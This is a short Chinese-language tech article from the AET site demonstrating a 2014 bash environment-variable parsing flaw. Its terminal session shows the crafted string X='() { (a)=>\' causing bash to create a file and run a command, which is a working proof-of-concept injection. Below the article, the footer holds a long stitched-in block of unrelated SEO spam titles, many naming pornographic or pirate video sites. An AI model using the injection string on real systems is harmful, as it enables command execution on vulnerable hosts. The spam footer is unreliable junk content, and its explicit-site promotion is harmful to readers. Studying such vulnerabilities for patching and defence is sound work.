《電子技術(shù)應(yīng)用》
您所在的位置:首頁(yè) > 嵌入式技術(shù) > 設(shè)計(jì)應(yīng)用 > 一個(gè)linux下的bash安全漏洞
一個(gè)linux下的bash安全漏洞
摘要:
關(guān)鍵詞: bash 09 2014 2713 david davidcchen
Abstract:
Key words :

 1. 通過設(shè)置一個(gè)特殊的環(huán)境變量的env,能間接地查到到linux命令的屬性,如下:

  [2014-09-27 13:00:54 david@davidcchen ~]$ ls -l date

  ls: cannot access date: No such file or directory

  [2014-09-27 13:01:13 david@davidcchen ~]$ env -i X='() { (a)=>\' bash -c 'date'

  bash: X: line 1: syntax error near unexpected token `='

  bash: X: line 1: `'

  bash: error importing function definition for `X'

  [2014-09-27 13:01:21 david@davidcchen ~]$ ls -l date

  -rw-rw-r--. 1 david david 0 Sep 27 13:01 date

  [2014-09-27 13:01:27 david@davidcchen ~]$

  2. 一次運(yùn)行環(huán)境變量。

  [2014-09-27 13:01:27 david@davidcchen ~]$ zsh --version

  zsh 4.3.10 (x86_64-redhat-linux-gnu)

  [2014-09-27 13:03:24 david@davidcchen ~]$ bash --version

  GNU bash, version 4.1.2(1)-release (x86_64-redhat-linux-gnu)

  Copyright (C) 2009 Free Software Foundation, Inc.

  License GPLv3+: GNU GPL version 3 or later

  This is free software; you are free to change and redistribute it.

  There is NO WARRANTY, to the extent permitted by law.

  [2014-09-27 13:03:31 david@davidcchen ~]$ env X='() { (a)=>\' bash -c "echo date"; cat echo; rm echo

  bash: X: line 1: syntax error near unexpected token `='

  bash: X: line 1: `'

  bash: error importing function definition for `X'

  Sat Sep 27 13:03:52 CST 2014

  ---------->成功運(yùn)行date命令

此內(nèi)容為AET網(wǎng)站原創(chuàng),未經(jīng)授權(quán)禁止轉(zhuǎn)載。
主站蜘蛛池模板: 一区国严二区亚洲三区| 亚洲精品nv久久久久久久久久| 2019中文字幕在线视频| 成人女人a毛片在线看| 亚洲国产韩国一区二区| 美团外卖猛男男同38分钟| 国产精品女人呻吟在线观看| 中文字幕免费看| 欧美孕交videosfree黑| 加勒比综合在线| 香港伦理电影三级中文字幕| 国产香蕉精品视频| 一级毛片免费全部播放| 日韩人妻潮喷中文在线视频| 亚洲欧美日韩中文字幕一区二区三区 | 日本精品高清一区二区| 亚洲欧美精品日韩欧美| 精品福利视频导航| 国产在线不卡免费播放| 6080私人午夜性爽快影院| 婷婷丁香五月中文字幕| 久久久久久久性| 欧美va亚洲va在线观看| 在线a人片天堂免费观看高清| 久久久久久久久亚洲| 欧美性a欧美在线| 免费传媒网站免费| 色噜噜狠狠色综合中国| 国产欧美在线不卡| 97免费人妻在线视频| 少妇无码AV无码一区| 久久久久亚洲精品天堂| 欧美77777| 亚洲欧美视频一级| 精品久久久久久中文字幕一区 | 国产成人麻豆亚洲综合无码精品| 99久久精品国产一区二区成人 | 日本三级2021最新理论在线观看| 亚洲六月丁香婷婷综合| 热狗福利ap青草视频入口在线观看p引导下载花季传媒 | 天天综合色天天桴色|